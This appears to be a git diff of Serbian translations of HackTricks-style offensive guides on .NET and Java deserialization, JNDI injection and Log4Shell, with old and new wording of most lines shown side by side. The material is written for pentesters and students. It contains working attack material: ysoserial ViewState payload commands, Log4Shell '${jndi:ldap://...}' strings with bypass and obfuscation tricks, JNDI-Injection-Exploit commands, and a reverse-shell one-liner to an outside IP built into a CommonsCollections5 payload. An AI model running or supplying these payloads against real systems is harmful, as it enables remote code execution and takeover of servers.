Ova klasa omogućava **specifikaciju tipova objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i pružanje svojstava koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_\*\* unutar \*\*_**ExpandedWrapper** \_ instance i **kada se deserijalizuje** ova klasa će **kreirati** _**OjectDataProvider**_ objekat koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.
Ova klasa omogućava **da se odrede tipovi objekata objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i pružanje svojstava koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_\*\* unutar instancu \*\*_**ExpandedWrapper** \_ i **kada se deserijalizuje** ova klasa će **kreirati** objekat _**OjectDataProvider**_ koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_.
Možete proveriti ovaj wrapper sa sledećim kodom:
```java
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Na [službenoj veb stranici](https://www.newtonsoft.com/json) je navedeno da ova biblioteka omogućava **serijalizaciju i deserializaciju bilo kog .NET objekta uz pomoć moćnog JSON serijalizatora Json.NET**. Dakle, ako bismo mogli **deserijalizovati ObjectDataProvider gadget**, mogli bismo izazvati **RCE** samo deserializovanjem objekta.
Na [službenoj veb stranici](https://www.newtonsoft.com/json) je navedeno da ova biblioteka omogućava **serijalizaciju i deserializaciju bilo kog .NET objekta uz pomoć moćnog JSON serijalizatora Json.NET**. Dakle, ako bismo mogli **deserijalizovati ObjectDataProvider gadget**, mogli bismo izazvati **RCE** samo deserijalizovanjem objekta.
### Json.Net primer

View File

@ -40,7 +40,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```
### Test case 1.5 Kao Test case 1, ali ViewState kolačić nije poslat od strane servera
Programeri mogu **ukloniti ViewState** da ne postane deo HTTP zahteva (korisnik neće primiti ovaj kolačić).\
Developeri mogu **ukloniti ViewState** iz HTTP zahteva (korisnik neće primiti ovaj kolačić).\
Može se pretpostaviti da ako **ViewState** **nije prisutan**, njihova implementacija je **sigurna** od bilo kakvih potencijalnih ranjivosti koje proizlaze iz deserializacije ViewState-a.\
Međutim, to nije slučaj. Ako **dodamo ViewState parametar** u telo zahteva i pošaljemo naš serijalizovani payload kreiran pomoću ysoserial, i dalje ćemo moći da postignemo **izvršenje koda** kao što je prikazano u **Slučaju 1**.
@ -102,19 +102,19 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar, **ne** morate **navesti** `--generator` parametar **već ove**:
U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne morate** da **obezbedite** `--generator` parametar **već ove**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je verovatno da je vrednost enkriptovana i **biće vam potrebna Machine Key da enkriptujete svoj payload** kako biste iskoristili ranjivost.
U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je verovatno da je vrednost enkriptovana i **biće vam potrebna Machine Key da enkriptujete vaš payload** kako biste iskoristili ranjivost.
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...**
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Always**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i ako je** **`ViewStateEncryptionMode`** postavljen na _**Always**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
Stoga, ako napadači pronađu način da dobiju Machinekey putem druge ranjivosti kao što je file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Case 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
Stoga, ako napadači pronađu način da dobiju Machinekey putem druge ranjivosti kao što je file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
- Uklonite `__VIEWSTATEENCRYPTED` parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška u validaciji Viewstate MAC-a i eksploatacija će propasti.
@ -124,7 +124,7 @@ Možemo naterati korišćenje ASP.NET framework-a tako što ćemo specificirati
```xml
<httpRuntime targetFramework="4.5" />
```
Alternativno, ovo se može uraditi tako što ćete navesti opciju ispod unutar `machineKey` parametra u web.config datoteci.
Alternativno, ovo se može uraditi tako što se specificira opcija ispod unutar `machineKey` parametra web.config datoteke.
```bash
compatibilityMode="Framework45"
```
@ -157,9 +157,9 @@ Ako imate vrednost `__VIEWSTATEGENERATOR`, možete pokušati da **koristite** pa
Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva van kanala ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Test slučaj 6 ViewStateUserKeys se koristi
### Test Case 6 ViewStateUserKeys se koristi
Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima se do sada razgovaralo, **payload neće biti obrađen od strane aplikacije**.\
Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima smo do sada razgovarali, **payload neće biti obrađen od strane aplikacije**.\
Potrebno je koristiti još jedan parametar kako bi se ispravno kreirao payload:
```bash
--viewstateuserkey="randomstringdefinedintheserver"

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## DNS zahtev na deserializaciji
## DNS zahtev prilikom deserializacije
Klasa `java.net.URL` implementira `Serializable`, što znači da se ova klasa može serijalizovati.
```java
@ -11,7 +11,7 @@ public final class URL implements java.io.Serializable {
Ova klasa ima **znatiželjno ponašanje.** Iz dokumentacije: “**Dva hosta se smatraju ekvivalentnim ako se oba imena hosta mogu rešiti u iste IP adrese**”.\
Tada, svaki put kada URL objekat pozove **bilo** koju od **funkcija `equals`** ili **`hashCode`**, **DNS zahtev** za dobijanje IP adrese će biti **poslat**.
**Pozivanje** funkcije **`hashCode`** **iz** **URL** objekta je prilično jednostavno, dovoljno je da se ovaj objekat umetne unutar `HashMap` koja će biti deserializovana. To je zato što se **na kraju** funkcije **`readObject`** iz `HashMap` izvršava ovaj kod:
**Pozivanje** funkcije **`hashCode`** **iz** **URL** objekta je prilično lako, dovoljno je da se ovaj objekat umetne unutar `HashMap` koja će biti deseralizovana. To je zato što se **na kraju** funkcije **`readObject`** iz `HashMap` izvršava ovaj kod:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
@ -21,7 +21,7 @@ for (int i = 0; i < mappings; i++) {
putVal(hash(key), key, value, false, false);
}
```
Izvršiće **se** `putVal` sa svakom vrednošću unutar `HashMap`. Ali, relevantniji je poziv na `hash` sa svakom vrednošću. Ovo je kod funkcije `hash`:
Izvršiće `putVal` sa svakom vrednošću unutar `HashMap`. Ali, relevantniji je poziv `hash` sa svakom vrednošću. Ovo je kod funkcije `hash`:
```java
static final int hash(Object key) {
int h;
@ -55,11 +55,11 @@ InetAddress addr = getHostAddress(u);
```
Možete videti da se `getHostAddress` izvršava za domen, **pokrećući DNS upit**.
Stoga, ova klasa može biti **zloupotrebljena** kako bi se **pokrenuo** **DNS upit** da **prikaže** da je **deserijalizacija** moguća, ili čak da **ekstrahuje informacije** (možete dodati kao poddomen izlaz izvršenja komande).
Stoga, ova klasa može biti **zloupotrebljena** kako bi se **pokrenuo** **DNS upit** da **prikaže** da je **deserializacija** moguća, ili čak da **ekstrahuje informacije** (možete dodati kao poddomen izlaz izvršenja komande).
### URLDNS payload kod primer
Možete pronaći [URDNS payload kod od ysoserial ovde](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Međutim, samo da bi bilo lakše razumeti kako to kodirati, napravio sam svoj vlastiti PoC (na osnovu onog iz ysoserial):
Možete pronaći [URDNS payload kod od ysoserial ovde](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Međutim, samo da bi bilo lakše razumeti kako to kodirati, napravio sam svoj PoC (zasnovan na onom iz ysoserial):
```java
import java.io.File;
import java.io.FileInputStream;

View File

@ -104,7 +104,7 @@ this.factory = factory;
```
I onda se izvršava veliki finale: `lazyMap.get("anything");`
Ovo je kod `get` funkcije:
Ovo je kod funkcije `get`:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {

View File

@ -11,17 +11,17 @@ JNDI, integrisan u Java od kraja 1990-ih, služi kao servis za imenovanje, omogu
Java objekti mogu biti pohranjeni i preuzeti koristeći JNDI Reference za imenovanje, koje dolaze u dva oblika:
- **Reference adrese**: Specifikuje lokaciju objekta (npr., _rmi://server/ref_), omogućavajući direktno preuzimanje sa navedene adrese.
- **Udaljena fabrika**: Referencira klasu udaljene fabrike. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.
- **Udaljena fabrika**: Referencira udaljenu klasu fabrike. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.
Međutim, ovaj mehanizam može biti iskorišćen, što može dovesti do učitavanja i izvršavanja proizvoljnog koda. Kao protivmera:
- **RMI**: `java.rmi.server.useCodeabseOnly = true` po defaultu od JDK 7u21, ograničava učitavanje udaljenih objekata. Menadžer bezbednosti dodatno ograničava šta može biti učitano.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` po defaultu od JDK 6u141, 7u131, 8u121, blokira izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno na `true`, moguće je izvršavanje udaljenog koda bez nadzora Menadžera bezbednosti.
- **CORBA**: Nema specifičnu osobinu, ali je Menadžer bezbednosti uvek aktivan.
- **RMI**: `java.rmi.server.useCodeabseOnly = true` po defaultu od JDK 7u21, ograničavajući učitavanje udaljenih objekata. Bezbednosni menadžer dodatno ograničava šta može biti učitano.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` po defaultu od JDK 6u141, 7u131, 8u121, blokirajući izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno na `true`, moguće je izvršavanje udaljenog koda bez nadzora Bezbednosnog menadžera.
- **CORBA**: Nema specifičnu osobinu, ali je Bezbednosni menadžer uvek aktivan.
Međutim, **Menadžer imenovanja**, odgovoran za rešavanje JNDI linkova, nema ugrađene bezbednosne mehanizme, što može omogućiti preuzimanje objekata iz bilo kog izvora. Ovo predstavlja rizik jer se zaštite RMI, LDAP i CORBA mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadgets) za pokretanje malicioznog koda.
Međutim, **Menadžer imenovanja**, odgovoran za rešavanje JNDI linkova, nema ugrađene bezbednosne mehanizme, što potencijalno omogućava preuzimanje objekata iz bilo kojeg izvora. Ovo predstavlja rizik jer se zaštite RMI, LDAP i CORBA mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili iskorišćavanja postojećih komponenti aplikacije (gadgets) za pokretanje malicioznog koda.
Primeri URL-ova koji se mogu iskoristiti uključuju:
Primeri iskorišćenih URL-ova uključuju:
- _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_
@ -29,7 +29,7 @@ Primeri URL-ova koji se mogu iskoristiti uključuju:
Uprkos zaštitama, ranjivosti ostaju, uglavnom zbog nedostatka zaštite protiv učitavanja JNDI iz nepouzdanih izvora i mogućnosti zaobilaženja postojećih zaštita.
### JNDI Primer
### JNDI primer
![](<../../images/image (1022).png>)
@ -44,27 +44,27 @@ CORBA (Common Object Request Broker Architecture) koristi **Interoperable Object
Važno je napomenuti da CORBA nije inherentno ranjiv. Osiguranje bezbednosti obično uključuje:
- Instalaciju **Menadžera bezbednosti**.
- Konfiguraciju Menadžera bezbednosti da dozvoli veze sa potencijalno malicioznim kod bazama. To se može postići kroz:
- Instalaciju **Bezbednosnog menadžera**.
- Konfiguraciju Bezbednosnog menadžera da dozvoli veze sa potencijalno malicioznim kodnim bazama. To se može postići kroz:
- Dozvolu za sokete, npr., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- Dozvole za čitanje fajlova, bilo univerzalno (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ili za specifične direktorijume gde bi maliciozni fajlovi mogli biti smešteni.
- Dozvole za čitanje datoteka, bilo univerzalno (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ili za specifične direktorijume gde bi maliciozne datoteke mogle biti smeštene.
Međutim, neke politike provajdera mogu biti blage i dozvoliti ove veze po defaultu.
### RMI Kontekst
### RMI kontekst
Za RMI (Remote Method Invocation), situacija je donekle drugačija. Kao i kod CORBA, učitavanje proizvoljnih klasa je po defaultu ograničeno. Da bi se iskoristio RMI, obično bi bilo potrebno zaobići Menadžera bezbednosti, što je takođe relevantno u CORBA.
Za RMI (Remote Method Invocation), situacija je donekle drugačija. Kao i kod CORBA, učitavanje proizvoljnih klasa je po defaultu ograničeno. Da bi se iskoristio RMI, obično bi bilo potrebno zaobići Bezbednosnog menadžera, što je takođe relevantno u CORBA.
### LDAP
Prvo, potrebno je razlikovati između Pretrage i Pretrage po imenu.\
Prvo, potrebno je razlikovati između pretrage i pretrage po imenu.\
**Pretraga** će koristiti URL kao `ldap://localhost:389/o=JNDITutorial` da pronađe JNDITutorial objekat sa LDAP servera i **preuzme njegove atribute**.\
**Pretraga po imenu** je namenjena za **imenovanje servisa** jer želimo da dobijemo **šta god je vezano za ime**.
**Pretraga po imenu** je namenjena za **imenovanje usluga** jer želimo da dobijemo **šta god je vezano za ime**.
Ako je LDAP pretraga pozvana sa **SearchControls.setReturningObjFlag() sa `true`, tada će vraćeni objekat biti rekonstruisan**.
Stoga, postoji nekoliko načina da se napadnu ove opcije.\
**Napadač može otrovati LDAP zapise uvodeći payload-e** u njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za **kompromitovanje desetina mašina** ako imate pristup LDAP serveru). Drugi način da se iskoristi ovo bi bio da se izvrši **MitM napad u LDAP pretrazi**, na primer.
**Napadač može otrovati LDAP zapise uvodeći payload-e** na njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za **kompromitovanje desetina mašina** ako imate pristup LDAP serveru). Drugi način da se iskoristi ovo bi bio da se izvrši **MitM napad u LDAP pretrazi**, na primer.
U slučaju da možete **naterati aplikaciju da reši JNDI LDAP URL**, možete kontrolisati LDAP koji će biti pretražen, i mogli biste poslati exploit (log4shell).
@ -72,8 +72,8 @@ U slučaju da možete **naterati aplikaciju da reši JNDI LDAP URL**, možete ko
![](<../../images/image (275).png>)
**Eksploit je serijalizovan** i biće deseralizovan.\
U slučaju da je `trustURLCodebase` `true`, napadač može pružiti svoje klase u kod bazi, ako ne, moraće da iskoristi gadgets u classpath-u.
**Exploit je serijalizovan** i biće deseralizovan.\
U slučaju da je `trustURLCodebase` `true`, napadač može pružiti svoje klase u kodnoj bazi, inače će morati da iskoristi gadgets u classpath-u.
#### Iskorišćavanje JNDI reference
@ -81,15 +81,15 @@ Lakše je napasti ovaj LDAP koristeći **JavaFactory reference**:
![](<../../images/image (1059).png>)
## Log4Shell Ranjivost
## Log4Shell ranjivost
Ranjivost je uvedena u Log4j jer podržava [**specijalnu sintaksu**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) u obliku `${prefix:name}` gde je `prefix` jedan od niza različitih [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) gde bi `name` trebao biti evaluiran. Na primer, `${java:version}` je trenutna verzija Jave koja se izvršava.
Ranjivost je uvedena u Log4j jer podržava [**specijalnu sintaksu**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) u obliku `${prefix:name}` gde je `prefix` jedan od niza različitih [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) gde `name` treba da bude evaluiran. Na primer, `${java:version}` je trenutna verzija Jave koja se izvršava.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) je uveo `jndi` Lookup funkciju. Ova funkcija omogućava preuzimanje varijabli putem JNDI. Obično, ključ se automatski prefiksira sa `java:comp/env/`. Međutim, ako ključ sam uključuje **":"**, ovaj defaultni prefiks se ne primenjuje.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) je uveo `jndi` Lookup funkciju. Ova funkcija omogućava preuzimanje varijabli putem JNDI. Obično, ključ se automatski prefiksira sa `java:comp/env/`. Međutim, ako sam ključ uključuje **":"**, ovaj defaultni prefiks se ne primenjuje.
Sa **: prisutnim** u ključu, kao u `${jndi:ldap://example.com/a}` nema **prefiksa** i **LDAP server se upituje za objekat**. I ovi Lookups se mogu koristiti i u konfiguraciji Log4j kao i kada se linije beleže.
Sa **: prisutnim** u ključu, kao u `${jndi:ldap://example.com/a}` nema **prefiksa** i **LDAP server se upituje za objekat**. I ovi Lookups mogu se koristiti i u konfiguraciji Log4j kao i kada se linije beleže.
Stoga, jedina stvar koja je potrebna za dobijanje RCE je **ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik**. I zato što je ovo biblioteka koja se široko koristi u Java aplikacijama za beleženje informacija (uključujući aplikacije koje su dostupne na internetu), bilo je veoma uobičajeno da log4j beleži, na primer, HTTP zaglavlja koja su primljena kao što je User-Agent. Međutim, log4j se **ne koristi samo za beleženje HTTP informacija već i bilo kog unosa** i podataka koje je programer naznačio.
Stoga, jedina stvar koja je potrebna za dobijanje RCE je **ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik**. I zato što je ovo biblioteka koja se široko koristi u Java aplikacijama za beleženje informacija (uključujući aplikacije koje su dostupne na internetu), bilo je veoma uobičajeno imati log4j koji beleži, na primer, HTTP zaglavlja koja su primljena kao što je User-Agent. Međutim, log4j se **ne koristi samo za beleženje HTTP informacija već i za bilo koji unos** i podatke koje je programer naznačio.
## Pregled CVE-ova povezanih sa Log4Shell
@ -99,23 +99,23 @@ Ova ranjivost je kritična **greška u nepouzdanom deserializovanju** u `log4j-c
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritično]**
Prvobitno ocenjena kao niska, ali kasnije unapređena na kritičnu, ova CVE je **greška u uslovima usluge (DoS)** koja proizilazi iz nepotpunog rešenja u 2.15.0 za CVE-2021-44228. Uticaće na ne-podrazumevane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem kreiranih payload-a. [Tvitt](https://twitter.com/marcioalm/status/1471740771581652995) prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem obrazaca pretrage poruka i onemogućavanjem JNDI po defaultu.
Prvobitno ocenjen kao nizak, ali kasnije unapređen na kritičan, ovaj CVE je **greška u uslovima usluge (DoS)** koja proizilazi iz nepotpunog rešenja u 2.15.0 za CVE-2021-44228. Uticaće na ne-podrazumevane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem kreiranih payload-a. [Tvitt](https://twitter.com/marcioalm/status/1471740771581652995) prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem obrazaca pretrage poruka i onemogućavanjem JNDI po defaultu.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Visoko]**
Uticaće na **Log4j 1.x verzije** u ne-podrazumevanim konfiguracijama koje koriste `JMSAppender`, ova CVE je greška u nepouzdanom deserializovanju. Nema rešenja za 1.x granu, koja je završila svoj životni ciklus, i preporučuje se nadogradnja na `log4j-core 2.17.0`.
Uticaće na **Log4j 1.x verzije** u ne-podrazumevanim konfiguracijama koje koriste `JMSAppender`, ovaj CVE je greška u nepouzdanom deserializovanju. Nema rešenja za 1.x granu, koja je završila svoj životni vek, i preporučuje se nadogradnja na `log4j-core 2.17.0`.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Umereno]**
Ova ranjivost utiče na **Logback logging framework**, naslednika Log4j 1.x. Prethodno smatrana sigurnom, ova platforma je otkrivena kao ranjiva, a nove verzije (1.3.0-alpha11 i 1.2.9) su objavljene kako bi se rešio problem.
Ova ranjivost utiče na **Logback logging framework**, naslednika Log4j 1.x. Prethodno smatrano sigurnim, okvire su pronađeni ranjivi, a nove verzije (1.3.0-alpha11 i 1.2.9) su objavljene da reše problem.
### **CVE-2021-45105** **\[Visoko]**
Log4j 2.16.0 sadrži DoS grešku, što je dovelo do objavljivanja `log4j 2.17.0` kako bi se ispravila CVE. Dodatni detalji su u izveštaju BleepingComputer-a [izveštaj](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Log4j 2.16.0 sadrži DoS grešku, što je dovelo do objavljivanja `log4j 2.17.0` da reši CVE. Dodatni detalji su u izveštaju BleepingComputer-a [izveštaj](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Uticaće na log4j verziju 2.17, ova CVE zahteva da napadač kontroliše konfiguracioni fajl log4j. Uključuje potencijalno izvršavanje proizvoljnog koda putem konfigurisanog JDBCAppender-a. Više detalja je dostupno u [Checkmarx blog postu](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Uticaće na log4j verziju 2.17, ovaj CVE zahteva da napadač kontroliše konfiguracioni fajl log4j. Uključuje potencijalno proizvoljno izvršavanje koda putem konfigurisanog JDBCAppender-a. Više detalja je dostupno u [Checkmarx blog postu](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Iskorišćavanje Log4Shell
@ -132,7 +132,7 @@ Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati barem *
Napomena da **čak i ako je primljen DNS zahtev, to ne znači da je aplikacija ranjiva** (ili čak ranjiva), moraćete da pokušate da je iskoristite.
> [!NOTE]
> Zapamtite da da biste **iskoristili verziju 2.15** morate dodati **zaobilaženje provere localhost**: ${jndi:ldap://**127.0.0.1#**...}
> Zapamtite da da **iskoristite verziju 2.15** morate dodati **zaobilaženje provere localhost**: ${jndi:ldap://**127.0.0.1#**...}
#### **Lokalno otkriće**
@ -205,11 +205,11 @@ Any other env variable name that could store sensitive information
### RCE Informacije
> [!NOTE]
> Hostovi koji rade na JDK verzijama iznad 6u141, 7u131 ili 8u121 su zaštićeni od LDAP napada putem učitavanja klasa. To je zbog podrazumevane deaktivacije `com.sun.jndi.ldap.object.trustURLCodebase`, koja sprečava JNDI da učita udaljenu kodnu bazu putem LDAP-a. Međutim, važno je napomenuti da ove verzije **nisu zaštićene od napada deserializacije**.
> Hostovi koji rade na JDK verzijama iznad 6u141, 7u131 ili 8u121 su zaštićeni od LDAP napada putem učitavanja klasa. To je zbog podrazumevane deaktivacije `com.sun.jndi.ldap.object.trustURLCodebase`, koja sprečava JNDI da učita udaljenu bazu koda putem LDAP-a. Međutim, važno je napomenuti da ove verzije **nisu zaštićene od napada deserializacije**.
>
> Za napadače koji žele da iskoriste ove više JDK verzije, neophodno je iskoristiti **pouzdani gadget** unutar Java aplikacije. Alati poput ysoserial ili JNDIExploit se često koriste u tu svrhu. S druge strane, iskorišćavanje nižih JDK verzija je relativno lakše jer se ove verzije mogu manipulisati da učitavaju i izvršavaju proizvoljne klase.
>
> Za **više informacija** (_kao što su ograničenja na RMI i CORBA vektore_) **proverite prethodni odeljak JNDI Naming Reference** ili [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
> Za **više informacija** (_poput ograničenja na RMI i CORBA vektore_) **proverite prethodni odeljak JNDI Naming Reference** ili [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
### RCE - Marshalsec sa prilagođenim payload-om
@ -288,7 +288,7 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Ovaj napad koristeći prilagođeni generisani java objekat će raditi u laboratorijama kao što je **THM solar room**. Međutim, ovo obično neće raditi (jer po defaultu Java nije konfigurisana da učitava udaljene kod baze koristeći LDAP) mislim zato što ne zloupotrebljava poverljivu klasu za izvršavanje proizvoljnog koda._
_Ovaj napad koristeći prilagođeni generisani java objekat će raditi u laboratorijama kao što je **THM solar room**. Međutim, ovo obično neće raditi (jer po defaultu Java nije konfigurisana da učitava udaljene kod baze koristeći LDAP) mislim zato što ne zloupotrebljava pouzdanu klasu za izvršavanje proizvoljnog koda._
### RCE - JNDI-Injection-Exploit-Plus
@ -296,14 +296,14 @@ _Ovaj napad koristeći prilagođeni generisani java objekat će raditi u laborat
### RCE - ysoserial & JNDI-Exploit-Kit
Ova opcija je zaista korisna za napad na **Java verzije koje su konfigurisane da veruju samo određenim klasama i ne svima**. Stoga, **ysoserial** će biti korišćen za generisanje **serijalizacija poverljivih klasa** koje se mogu koristiti kao gadgeti za **izvršavanje proizvoljnog koda** (_poverljiva klasa koju zloupotrebljava ysoserial mora biti korišćena od strane žrtvinog java programa kako bi eksploatacija radila_).
Ova opcija je zaista korisna za napad na **Java verzije koje su konfigurisane da veruju samo određenim klasama i ne svima**. Stoga, **ysoserial** će biti korišćen za generisanje **serijalizacija pouzdanih klasa** koje se mogu koristiti kao gadgeti za **izvršavanje proizvoljnog koda** (_pouzdana klasa koju zloupotrebljava ysoserial mora biti korišćena od strane žrtvinog java programa kako bi eksploatacija radila_).
Korišćenjem **ysoserial** ili [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) možete kreirati eksploataciju deserializacije koja će biti preuzeta od strane JNDI:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Koristite [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) za generisanje **JNDI linkova** gde će eksploatacija čekati na veze sa ranjivim mašinama. Možete poslužiti **različite eksploate koji se mogu automatski generisati** pomoću JNDI-Exploit-Kit ili čak vaše **vlastite deserializacione payload-e** (generisane od vas ili ysoserial).
Koristite [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) za generisanje **JNDI linkova** gde će eksploatacija čekati na veze sa ranjivim mašinama. Možete poslužiti **različite eksploate koji se mogu automatski generisati** pomoću JNDI-Exploit-Kit ili čak svoje **vlastite deserializacione payload-e** (generisane od vas ili ysoserial).
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
@ -343,7 +343,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Post-Log4Shell Eksploatacija
U ovom [**CTF izveštaju**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) je dobro objašnjeno kako je potencijalno **moguće** **zloupotrebiti** neke funkcije **Log4J**.
U ovom [**CTF izveštaju**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) je dobro objašnjeno kako je potencijalno **moguće** da se **zloupotrebe** neke funkcije **Log4J**.
[**Sigurnosna stranica**](https://logging.apache.org/log4j/2.x/security.html) Log4j-a ima nekoliko zanimljivih rečenica:
@ -367,13 +367,13 @@ Kao što je prikazano na ovoj stranici u [**prethodnim payload-ima**](jndi-java-
### Exfiltration in Exceptions
